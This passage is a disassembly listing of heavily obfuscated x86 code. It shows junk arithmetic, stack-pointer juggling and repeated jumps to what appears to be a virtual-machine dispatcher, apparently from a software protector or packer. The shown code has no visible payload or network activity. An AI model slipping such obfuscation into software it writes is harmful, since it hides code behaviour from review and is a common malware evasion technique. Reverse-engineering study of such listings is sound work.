; ---------------------------------------------------------------------------


loc_587CE7:				; CODE XREF: ud2_____:005911B4j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		neg	edx
		or	edx, 143F4F00h
		sub	edx, 0CF685222h
		mov	ebp, edx
		jmp	loc_58D14D
; ---------------------------------------------------------------------------


loc_587D09:				; CODE XREF: ud2_____:00592E9Fj
		push	7B40h
		mov	[esp], eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_590598
; ---------------------------------------------------------------------------


loc_587D1D:				; CODE XREF: ud2_____:0058702Ej
		add	ebx, eax
		push	ebp
		jmp	loc_590051
; ---------------------------------------------------------------------------


loc_587D25:				; CODE XREF: ud2_____:00586463j
		add	esp, 4
		add	eax, 5FE41B2Eh
		push	ecx
		push	17AEh
		mov	[esp], ebp
		mov	ebp, 7AAD6534h
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ecx, 1
		push	eax
		push	edi
		mov	edi, 7DB31AAAh
		dec	edi
		push	edx
		jmp	loc_583616
; ---------------------------------------------------------------------------


loc_587D56:				; CODE XREF: ud2_____:0058509Dj
		mov	ebp, 0EBE00E6h
		xor	ebp, 793C7681h
		sub	ebp, 0F2073BCh
		xor	ebp, 686202AFh
		add	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_57EB64
; ---------------------------------------------------------------------------


loc_587D7E:				; CODE XREF: ud2_____:00587F74j
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58F1C0
; ---------------------------------------------------------------------------


loc_587D89:				; CODE XREF: ud2_____:0058740Dj
		add	ebx, eax
		sub	ebx, 24597F92h
		sub	ebx, 153B4388h
		jmp	loc_584ABC
; ---------------------------------------------------------------------------


loc_587D9C:				; CODE XREF: ud2_____:0059265Ej
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58BF16
; ---------------------------------------------------------------------------


loc_587DA9:				; CODE XREF: ud2_____:00590734j
		sub	edx, 2D301C9h
		jmp	loc_57ECC0
; ---------------------------------------------------------------------------


loc_587DB4:				; CODE XREF: ud2_____:00580B47j
		add	edx, eax
		add	edx, 21224F24h
		push	709Ch
		jmp	loc_5853C2
; ---------------------------------------------------------------------------


loc_587DC6:				; CODE XREF: ud2_____:005802C9j
		shr	bh, 8
		jmp	loc_58922E
; ---------------------------------------------------------------------------


loc_587DCE:				; CODE XREF: ud2_____:0058AFD7j
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_58CE51
; ---------------------------------------------------------------------------


loc_587DDB:				; CODE XREF: ud2_____:00581687j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58A309
; ---------------------------------------------------------------------------


loc_587DEE:				; CODE XREF: ud2_____:0058EAD8j
		pop	eax
		add	ecx, 28505A97h
		shr	ecx, 4
		xor	ecx, 3F9AE1D8h
		mov	edi, ecx
		pop	ecx
		jmp	loc_58FE1F
; ---------------------------------------------------------------------------


loc_587E06:				; CODE XREF: ud2_____:0058EC2Cj
		xor	eax, ebx
		jmp	loc_5882B9
; ---------------------------------------------------------------------------


loc_587E0D:				; CODE XREF: ud2_____:0058DB74j
		mov	[esp], ecx
		mov	ecx, 71A027A9h
		sub	ecx, 7D105682h
		xor	ecx, 0EB1EB8BAh
		add	eax, 72F96F4Bh
		jmp	loc_592AFA
; ---------------------------------------------------------------------------


loc_587E2B:				; CODE XREF: ud2_____:0058B9FEj
		push	467Eh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5921E5
; ---------------------------------------------------------------------------


loc_587E3D:				; CODE XREF: ud2_____:0057F278j
		push	ebx
		jmp	loc_5893BA
; ---------------------------------------------------------------------------


loc_587E43:				; CODE XREF: ud2_____:005837B6j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_581B3C
; ---------------------------------------------------------------------------


loc_587E58:				; CODE XREF: ud2_____:0058C3EDj
		pop	eax
		add	cl, 23h
		add	bl, cl
		jmp	loc_583BBB
; ---------------------------------------------------------------------------


loc_587E63:				; CODE XREF: ud2_____:0058315Ej
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 379C40F6h
		not	esi
		jmp	loc_580254
; ---------------------------------------------------------------------------


loc_587E75:				; CODE XREF: ud2_____:00592E08j
		mov	bl, 0E2h
		shl	bl, 5
		push	eax
		sub	esp, 4
		jmp	loc_5819A4
; ---------------------------------------------------------------------------


loc_587E83:				; CODE XREF: ud2_____:00586892j
		mov	ebp, [esp]
		jmp	loc_587744
; ---------------------------------------------------------------------------


loc_587E8B:				; CODE XREF: ud2_____:0058BBE4j
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 30AC7300h
		sub	ebx, 8D71A8Ah
		add	ebx, 1C630A06h
		jmp	loc_58F244
; ---------------------------------------------------------------------------


loc_587EA9:				; CODE XREF: ud2_____:00583206j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_583D01
; ---------------------------------------------------------------------------


loc_587ECA:				; CODE XREF: ud2_____:0057F245j
		mov	ecx, 4D33587Ah
		add	ecx, 915B4B6h
		sub	ebx, ecx
		jmp	loc_588AE4
; ---------------------------------------------------------------------------


loc_587EDC:				; CODE XREF: ud2_____:00590E35j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5880E2
; ---------------------------------------------------------------------------


loc_587EE5:				; CODE XREF: ud2_____:0058F6D9j
		push	6FD6h
		mov	[esp], ebx
		push	ecx
		mov	ch, 1Eh
		mov	bh, 6Bh
		sub	bh, ch
		pop	ecx
		jmp	loc_588C1A
; ---------------------------------------------------------------------------


loc_587EFA:				; CODE XREF: ud2_____:0058D606j
		mov	edi, [esp]
		add	esp, 4
		or	ebp, 741603ADh
		push	5E2Bh
		mov	[esp], ecx
		mov	ecx, 4E172059h
		jmp	loc_5887A1
; ---------------------------------------------------------------------------


loc_587F1B:				; CODE XREF: ud2_____:0058CF71j
		pop	edx
		mov	ecx, ebp
		pop	ebp
		sub	ebp, ecx
		jmp	loc_582D72
; ---------------------------------------------------------------------------


loc_587F26:				; CODE XREF: ud2_____:00588240j
		pop	ebx
		push	13B7h
		mov	[esp], eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_587F34:				; CODE XREF: ud2_____:00591A0Dj
		pop	edx
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mov	ax, [esp]
		push	1C02h
		jmp	loc_58B6EC
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0E43CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_587F52:				; CODE XREF: ud2_____:005886D7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58BC90
; ---------------------------------------------------------------------------


loc_587F68:				; CODE XREF: ud2_____:00591BB7j
		sub	ebx, 54894401h
		jmp	loc_584F06
; ---------------------------------------------------------------------------


loc_587F73:				; CODE XREF: ud2_____:005918E2j
		pop	esi
		jmp	loc_587D7E
; ---------------------------------------------------------------------------


loc_587F79:				; CODE XREF: ud2_____:005853D8j
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_587F8A:				; CODE XREF: ud2_____:0058EF8Cj
		add	esp, 4
		shr	esi, 7
		jmp	loc_58F0C1
; ---------------------------------------------------------------------------


loc_587F95:				; CODE XREF: ud2_____:0058464Cj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_589BE4
; ---------------------------------------------------------------------------


loc_587FAD:				; CODE XREF: ud2_____:00582154j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_591EF5
; ---------------------------------------------------------------------------


loc_587FBE:				; CODE XREF: ud2_____:005811B5j
		mov	[edx], esi
		pop	edx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58C664
; ---------------------------------------------------------------------------


loc_587FCA:				; CODE XREF: ud2_____:0058FB08j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58FACE
; ---------------------------------------------------------------------------


loc_587FD4:				; CODE XREF: ud2_____:0058A08Cj
		push	ecx
		mov	ecx, 2
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	763Bh
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_58141F
; ---------------------------------------------------------------------------


loc_587FFA:				; CODE XREF: ud2_____:0058024Fj
		mov	[esp], esi
		jmp	loc_592EAE
; ---------------------------------------------------------------------------


loc_588002:				; CODE XREF: ud2_____:00591CB4j
		push	ebx
		mov	ebx, 61C14BB6h
		neg	ebx
		inc	ebx
		jmp	loc_58D3AA
; ---------------------------------------------------------------------------


loc_588010:				; CODE XREF: ud2_____:0058462Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58F907
; ---------------------------------------------------------------------------


loc_58801E:				; CODE XREF: ud2_____:0057E50Fj
		add	esp, 4
		jmp	loc_589AA2
; ---------------------------------------------------------------------------


loc_588029:				; CODE XREF: ud2_____:005912FEj
		mov	[esp], esi
		mov	esi, 3CF661E0h
		and	edx, esi
		pop	esi
		jmp	loc_591EB9
; ---------------------------------------------------------------------------


loc_588039:				; CODE XREF: ud2_____:005830AFj
		push	esi
		mov	esi, 4C3931F4h
		neg	esi
		not	esi
		jmp	loc_58D0D7
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 34254743h
		add	eax, edx
		pop	edx
		sub	eax, 744258F8h
		sub	eax, 520B081Eh
		sub	eax, ebx
		add	eax, 520B081Eh
		push	edi
		mov	edi, 744258F8h
		add	eax, edi
		jmp	loc_590FBF
; ---------------------------------------------------------------------------


loc_588075:				; CODE XREF: ud2_____:005821EBj
		mov	eax, 102F4CEFh
		xor	eax, 1B5E28B6h
		xor	eax, 35997101h
		not	eax
		xor	eax, 724A3297h
		push	eax
		dec	dword ptr [esp]
		pop	eax
		not	eax
		add	eax, 30753D1Fh
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		add	ebx, 7D1764EFh
		sub	ebx, 48511D4Fh
		jmp	loc_5837AC
; ---------------------------------------------------------------------------


loc_5880AD:				; CODE XREF: ud2_____:0058DCDFj
		push	ebx
		mov	ebx, 71216B0Ah
		not	ebx
		jmp	loc_590380
; ---------------------------------------------------------------------------


loc_5880BA:				; CODE XREF: ud2_____:0058EC52j
		pop	ebp
		add	eax, esi
		pop	esi
		jmp	loc_57E897
; ---------------------------------------------------------------------------


loc_5880C3:				; CODE XREF: ud2_____:00590961j
		mov	ecx, 44B71A3Ah
		not	ecx
		inc	ecx
		sub	ecx, 399B37AAh
		xor	ecx, 898BCA21h
		jmp	loc_586C6E
; ---------------------------------------------------------------------------


loc_5880DC:				; CODE XREF: ud2_____:0057ECCFj
		pop	eax
		jmp	loc_57FD76
; ---------------------------------------------------------------------------


loc_5880E2:				; CODE XREF: ud2_____:00587EE0j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	24E3h
		mov	[esp], ecx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5880FE:				; CODE XREF: ud2_____:0058CD05j
		push	2328h
		mov	[esp], edx
		mov	edx, 24h
		push	edi
		mov	edi, 140557D0h
		not	edi
		add	edi, 5BE94B25h
		push	ecx
		mov	ecx, 62909EFh
		jmp	loc_587A5C
; ---------------------------------------------------------------------------


loc_588124:				; CODE XREF: ud2_____:0058FE48j
		add	esp, 4
		sub	eax, 4
		jmp	loc_580D09
; ---------------------------------------------------------------------------


loc_58812F:				; CODE XREF: ud2_____:005870F1j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_591EB0
; ---------------------------------------------------------------------------


loc_588139:				; CODE XREF: ud2_____:0057EF26j
		mov	edi, 1D190735h
		jmp	loc_58B4C9
; ---------------------------------------------------------------------------


loc_588143:				; CODE XREF: ud2_____:0058C089j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58E048
; ---------------------------------------------------------------------------


loc_588157:				; CODE XREF: ud2_____:0058AF2Fj
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_57EF18
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	39A4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ebx
		push	esp
		jmp	loc_5907DD
; ---------------------------------------------------------------------------


loc_588182:				; CODE XREF: ud2_____:00592104j
		pop	eax
		push	3253h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_58E183
; ---------------------------------------------------------------------------


loc_588192:				; CODE XREF: ud2_____:00581C8Dj
		xor	edi, 369F7EC5h
		inc	edi
		xor	edi, 937F0166h
		add	eax, edi
		pop	edi
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	67DDh
		mov	[esp], esi
		push	eax
		mov	eax, 0B463534h
		jmp	loc_58BCC3
; ---------------------------------------------------------------------------


loc_5881C6:				; CODE XREF: ud2_____:0058DE7Bj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5881CB:				; CODE XREF: ud2_____:00586AC9j
		mov	[esp], dx
		jmp	loc_58A4F6
; ---------------------------------------------------------------------------


loc_5881D4:				; CODE XREF: ud2_____:00583D67j
		dec	edx
		neg	edx
		jmp	loc_58A2F8
; ---------------------------------------------------------------------------


loc_5881DC:				; CODE XREF: ud2_____:0058F592j
		push	1017h
		mov	[esp], ecx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_57E84F
; ---------------------------------------------------------------------------


loc_5881FF:				; CODE XREF: ud2_____:005808B0j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58820A:				; CODE XREF: ud2_____:0058A6F5j
		push	4A4Bh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_58E094
; ---------------------------------------------------------------------------


loc_588219:				; CODE XREF: ud2_____:0058BF0Bj
		sub	ebx, 55F121C4h
		sub	ebx, 0B29715Bh
		mov	ecx, [esp]
		jmp	loc_580945
; ---------------------------------------------------------------------------


loc_58822D:				; CODE XREF: ud2_____:0059230Fj
		xor	ebp, [esp]
		pop	esp
		jmp	loc_58EA61
; ---------------------------------------------------------------------------


loc_588236:				; CODE XREF: ud2_____:0058E1ACj
		add	edx, 2C230528h
		pop	edi
		add	eax, [edx]
		pop	edx
		jmp	loc_587F26
; ---------------------------------------------------------------------------


loc_588245:				; CODE XREF: ud2_____:0057E3A2j
		sub	esi, 25E426A3h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_580829
; ---------------------------------------------------------------------------


loc_58825A:				; CODE XREF: ud2_____:0059300Ej
		pop	esp
		push	edi
		mov	edi, 2EA55EE1h
		jmp	loc_58D863
; ---------------------------------------------------------------------------


loc_588266:				; CODE XREF: ud2_____:00588758j
		add	ecx, eax
		pop	eax
		jmp	loc_58455B
; ---------------------------------------------------------------------------


loc_58826E:				; CODE XREF: ud2_____:00587379j
		push	eax
		mov	al, 82h
		inc	al
		jmp	loc_5802B9
; ---------------------------------------------------------------------------


loc_588278:				; CODE XREF: ud2_____:0059212Bj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5911CD
; ---------------------------------------------------------------------------


loc_588286:				; CODE XREF: ud2_____:005854B9j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58829E:				; CODE XREF: ud2_____:00580EC1j
		pop	ebx
		jmp	loc_5831B4
; ---------------------------------------------------------------------------


loc_5882A4:				; CODE XREF: ud2_____:0058874Dj
		push	esi
		mov	esi, 1Ch
		jmp	loc_58449C
; ---------------------------------------------------------------------------


loc_5882AF:				; CODE XREF: ud2_____:0058A1B1j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_584320
; ---------------------------------------------------------------------------


loc_5882B9:				; CODE XREF: ud2_____:00587E08j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2D8874B4h
		sub	ecx, 568B722Dh
		jmp	loc_591B9A
; ---------------------------------------------------------------------------


loc_5882D0:				; CODE XREF: ud2_____:0058EF48j
		mov	[esp], ecx
		jmp	loc_592350
; ---------------------------------------------------------------------------


loc_5882D8:				; CODE XREF: ud2_____:0057F15Bj
		pop	esp
		movzx	ax, byte ptr [eax]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	7BD6h
		push	esp
		jmp	loc_589294
; ---------------------------------------------------------------------------


loc_5882FE:				; CODE XREF: ud2_____:005826E7j
		sub	esi, 0FFFFFFFFh
		push	7F54h
		jmp	loc_581E39
; ---------------------------------------------------------------------------


loc_58830B:				; CODE XREF: ud2_____:00580DBEj
		xor	edi, 63294ADFh
		jmp	loc_58533A
; ---------------------------------------------------------------------------


loc_588316:				; CODE XREF: ud2_____:00585EB5j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59137F
; ---------------------------------------------------------------------------


loc_58832B:				; CODE XREF: ud2_____:00581CAEj
		mov	ebp, eax
		pop	eax
		add	esi, ebp
		jmp	loc_57E503
; ---------------------------------------------------------------------------


loc_588335:				; CODE XREF: ud2_____:00580A5Fj
		mov	eax, 2B476C1Ah
		sub	eax, 74F2FEh
		shl	eax, 4
		jmp	loc_583EAD
; ---------------------------------------------------------------------------


loc_588347:				; CODE XREF: ud2_____:00587B5Cj
		mov	[esp], esi
		jmp	loc_5907C5
; ---------------------------------------------------------------------------


loc_58834F:				; CODE XREF: ud2_____:00583DE7j
		or	bh, 10h
		inc	bh
		jmp	loc_582677
; ---------------------------------------------------------------------------


loc_588359:				; CODE XREF: ud2_____:0058DD79j
		pop	ebp
		or	ebp, 55C0530Ah
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		jmp	loc_58B151
; ---------------------------------------------------------------------------


loc_58836D:				; CODE XREF: ud2_____:0058CC29j
		pop	ecx
		push	eax
		mov	eax, 77A61862h
		jmp	loc_58CEBD
; ---------------------------------------------------------------------------


loc_588379:				; CODE XREF: ud2_____:005827D8j
		not	bl
		xor	bl, 1Eh
		sub	bl, 0A5h
		add	bl, 0CCh
		or	al, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dx
		mov	dh, 0E5h
		xor	al, dh
		pop	dx
		sub	al, 10h
		mov	bh, al
		jmp	loc_591F12
; ---------------------------------------------------------------------------


loc_58839E:				; CODE XREF: ud2_____:005802E8j
		or	ecx, 5EFC38ACh
		sub	ecx, 7FFF7FFDh
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		pop	ecx
		push	3C54h
		jmp	loc_57F78E
; ---------------------------------------------------------------------------


loc_5883BB:				; CODE XREF: ud2_____:00581CCBj
		push	ebx
		push	esi
		mov	esi, 1A2672E6h
		mov	ebx, 30080F28h
		xor	ebx, esi
		pop	esi
		add	ebx, 6402FBEh
		push	6BA4h
		mov	[esp], eax
		mov	eax, 2C3D766Eh
		add	ebx, eax
		pop	eax
		neg	ebx
		sub	ebx, 4E72D08Dh
		add	edx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58B133
; ---------------------------------------------------------------------------


loc_588404:				; CODE XREF: ud2_____:00589DFEj
		jnz	loc_58C435
		push	33C3h
		mov	[esp], edi
		push	720Eh
		mov	[esp], esp
		push	ebx
		jmp	loc_5845C0
; ---------------------------------------------------------------------------


loc_588420:				; CODE XREF: ud2_____:0057FCA8j
		add	ebx, ebp
		add	ebx, 6C82B17h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_586044
; ---------------------------------------------------------------------------


loc_588439:				; CODE XREF: ud2_____:0057FC3Dj
		push	ecx
		push	ebx
		mov	ebx, 69666E3Eh
		add	ebx, 65642D5Ah
		shl	ebx, 3
		jmp	loc_5915A6
; ---------------------------------------------------------------------------


loc_58844E:				; CODE XREF: ud2_____:0058BC05j
		mov	ebx, 784D5048h
		jmp	loc_58998C
; ---------------------------------------------------------------------------


loc_588458:				; CODE XREF: ud2_____:0057E6CBj
		push	esi
		mov	esi, 11D6B66h
		push	eax
		mov	eax, 4CC55003h
		add	ecx, eax
		pop	eax
		sub	ecx, esi
		sub	ecx, 4CC55003h
		pop	esi
		jmp	loc_5878A0
; ---------------------------------------------------------------------------


loc_588475:				; CODE XREF: ud2_____:00592AF5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_589900
; ---------------------------------------------------------------------------


loc_588488:				; CODE XREF: ud2_____:0058B7ABj
		pop	ecx
		mov	ch, dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		sub	ch, 83h
		sub	ch, 9Fh
		add	al, ch
		jmp	loc_5904EE
; ---------------------------------------------------------------------------


loc_5884A2:				; CODE XREF: ud2_____:0058CC8Bj
		push	143Eh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 55DE6F7Dh
		push	2554h
		mov	[esp], edx
		jmp	loc_582544
; ---------------------------------------------------------------------------


loc_5884C5:				; CODE XREF: ud2_____:0057FF31j
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_58B6DF
; ---------------------------------------------------------------------------


loc_5884D2:				; CODE XREF: ud2_____:00585B02j
		pop	edx
		push	edi
		push	edx
		mov	edx, 604D0500h
		shl	edx, 7
		inc	edx
		and	edx, 18543AE1h
		jmp	loc_5848CF
; ---------------------------------------------------------------------------


loc_5884E9:				; CODE XREF: ud2_____:0058709Cj
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_588504:				; CODE XREF: ud2_____:005872F0j
		shl	eax, 4
		or	eax, 400C5B22h
		push	edi
		mov	edi, 6DDE0505h
		inc	edi
		jmp	loc_5835FF
; ---------------------------------------------------------------------------
		dd 0E9242489h, 9896h
; ---------------------------------------------------------------------------


loc_588520:				; CODE XREF: ud2_____:0058D1B1j
		dec	eax
		xor	eax, 22E07FAEh
		add	esi, eax
		pop	eax
		add	esi, ebx
		sub	esi, 411F6074h
		pop	ebx
		jmp	loc_58CC0C
; ---------------------------------------------------------------------------


loc_588537:				; CODE XREF: ud2_____:0057ED3Ej
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 68E24344h
		jmp	loc_59268A
; ---------------------------------------------------------------------------


loc_58854A:				; CODE XREF: ud2_____:00586E10j
		xor	ebx, 0F1BC3828h
		sub	eax, ebx
		pop	ebx
		jmp	loc_57F952
; ---------------------------------------------------------------------------


loc_588558:				; CODE XREF: ud2_____:005847D7j
		mov	ebx, 4
		mov	esi, ebx
		jmp	loc_584C9E
; ---------------------------------------------------------------------------


loc_588564:				; CODE XREF: ud2_____:00581E56j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_581BF2
; ---------------------------------------------------------------------------


loc_588575:				; CODE XREF: ud2_____:00590B24j
		add	ecx, esi
		jmp	loc_590DB6
; ---------------------------------------------------------------------------


loc_58857C:				; CODE XREF: ud2_____:0058F648j
		inc	ebx
		jmp	loc_587ABF
; ---------------------------------------------------------------------------


loc_588582:				; CODE XREF: ud2_____:005924D3j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5863DE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	2836h
		push	2088h
		push	184Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_57ECD4
; ---------------------------------------------------------------------------


loc_5885B3:				; CODE XREF: ud2_____:0059165Fj
		and	dl, 9Ah
		sub	dl, 21h
		jmp	loc_58C762
; ---------------------------------------------------------------------------


loc_5885BE:				; CODE XREF: ud2_____:005810C3j
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58613B
; ---------------------------------------------------------------------------


loc_5885CD:				; CODE XREF: ud2_____:0058A3BAj
		push	esi
		mov	esi, 1
		jmp	loc_58CC7F
; ---------------------------------------------------------------------------


loc_5885D8:				; CODE XREF: ud2_____:00589BCDj
		mov	ebx, 64755DADh
		jmp	loc_58C31C
; ---------------------------------------------------------------------------


loc_5885E2:				; CODE XREF: ud2_____:0058670Bj
		add	edi, ebp
		jmp	loc_582BD2
; ---------------------------------------------------------------------------


loc_5885E9:				; CODE XREF: ud2_____:00586BCDj
		mov	ebx, [esp]
		jmp	loc_580E12
; ---------------------------------------------------------------------------


loc_5885F1:				; CODE XREF: ud2_____:0057F830j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	68E0h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 0B6051FAh
		inc	edi
		neg	edi
		shl	edi, 3
		inc	edi
		xor	edi, 0A4FD702Dh
		add	ebx, edi
		pop	edi
		push	13F1h
		mov	[esp], ebp
		push	16A3h
		mov	[esp], eax
		mov	eax, 2
		push	eax
		pop	ebp
		pop	eax
		jmp	loc_584A98
; ---------------------------------------------------------------------------


loc_58864E:				; CODE XREF: ud2_____:005810DFj
		mov	[esp], ecx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_588656:				; CODE XREF: ud2_____:00592F28j
		add	edi, eax
		add	edi, 411F7B40h
		pop	eax
		mov	edx, edi
		pop	edi
		jmp	loc_5914B1
; ---------------------------------------------------------------------------


loc_588667:				; CODE XREF: ud2_____:00589C6Dj
		sub	edi, edx
		add	edi, 0BDF21F9h
		pop	edx
		sub	ebp, 73663C6h
		add	ebp, edi
		add	ebp, 73663C6h
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	55A4h
		mov	[esp], ecx
		push	edx
		jmp	loc_58A0AE
; ---------------------------------------------------------------------------


loc_588698:				; CODE XREF: ud2_____:0057F12Aj
		mov	ebp, esp
		jmp	loc_591F48
; ---------------------------------------------------------------------------


loc_58869F:				; CODE XREF: ud2_____:00591298j
		pop	ecx
		neg	ch
		jmp	loc_58E311
; ---------------------------------------------------------------------------


loc_5886A7:				; CODE XREF: ud2_____:00583FB4j
		mov	ebx, [esp]
		push	ecx
		push	3AF8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5856C0
; ---------------------------------------------------------------------------


loc_5886BF:				; CODE XREF: ud2_____:00584435j
		push	esi
		push	ecx
		mov	ecx, 2BB56C2Eh
		sub	[esp+4], ecx
		jmp	loc_57EBB7
; ---------------------------------------------------------------------------


loc_5886CF:				; CODE XREF: ud2_____:0058D3E9j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_587F52
; ---------------------------------------------------------------------------


loc_5886DC:				; CODE XREF: ud2_____:00587562j
		mov	bh, 0C0h
		sub	bh, 0E6h
		xor	bh, 45h
		jmp	loc_58B94D
; ---------------------------------------------------------------------------


loc_5886E9:				; CODE XREF: ud2_____:00584526j
		xor	ecx, 1A4A967h
		add	edi, 69F65AE5h
		jmp	loc_581151
; ---------------------------------------------------------------------------


loc_5886FA:				; CODE XREF: ud2_____:005844E9j
		push	750Ch
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_590E92
; ---------------------------------------------------------------------------


loc_588709:				; CODE XREF: ud2_____:005871A1j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58BF86
; ---------------------------------------------------------------------------


loc_588714:				; CODE XREF: ud2_____:0058DCC0j
		mov	ah, 18h
		or	ah, 0E8h
		xor	ah, 0B4h
		or	ah, 8
		jmp	loc_5869A7
; ---------------------------------------------------------------------------


loc_588724:				; CODE XREF: ud2_____:005878FEj
		push	esi
		jmp	loc_5826F5
; ---------------------------------------------------------------------------


loc_58872A:				; CODE XREF: ud2_____:00584CE4j
		xor	[esp], dh
		xor	dh, [esp]
		xor	[esp], dh
		jmp	loc_591A88
; ---------------------------------------------------------------------------
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5882A4
; ---------------------------------------------------------------------------


loc_588752:				; CODE XREF: ud2_____:00588AC8j
		push	eax
		mov	eax, 4
		jmp	loc_588266
; ---------------------------------------------------------------------------


loc_58875D:				; CODE XREF: ud2_____:0058CFA6j
		xor	[esp], ecx
